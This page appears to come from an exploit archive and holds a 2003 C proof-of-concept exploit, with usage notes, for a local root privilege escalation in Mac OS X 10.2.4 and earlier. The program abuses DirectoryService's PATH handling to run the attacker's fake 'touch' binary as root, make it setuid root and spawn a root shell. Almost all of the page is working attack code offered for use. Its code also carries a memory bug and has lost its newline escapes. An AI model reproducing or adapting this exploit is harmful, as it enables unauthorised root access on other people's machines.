[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Mac OS X <= 10.2.4 DirectoryService (PATH) Local Root Exploit
# Published : 2003-04-18
# Author : Neeko Oni
# Previous Title : Firebird 1.0.2 FreeBSD 4.7-RELEASE Local Root Exploit
# Next Title : Linux Kernel < 2.4.20 Module Loader Local Root Exploit
/*
OS X <= 10.2.4 DirectoryService local root PATH exploit
DirectoryService must be crashed prior to execution, per
@stake advisory. If you discover how to crash DirectoryService
e-mail me at neeko@haackey.com [Neeko Oni]
--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.
bash$ ./touch
*bunch of stuff here*
euid is root.
bash#
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int
main(int argc, char **argv)
{
char *ORIGPATH;
int temp;
if (argc < 2) {
if (geteuid() == 0) {
printf("euid is root.n");
setuid(0);
execl("/bin/bash", "bash", NULL);
}
strcpy(ORIGPATH, getenv("PATH"));
printf("Original path: %sn", ORIGPATH);
setenv("PATH", ".", 1);
printf("New path: %sn", getenv("PATH"));
printf("Executing DirectoryService with false PATH...n");
if (fork() == 0) {
execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
}
printf("Forked DirectoryService, pausing before shell exec...n");
sleep(3);
printf("Cross your fingers.n");
setenv("PATH", ORIGPATH, 1);
printf("Path restored: %sn", getenv("PATH"));
execl("./touch", "touch", NULL);
}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}
// www.Syue.com [2003-04-18]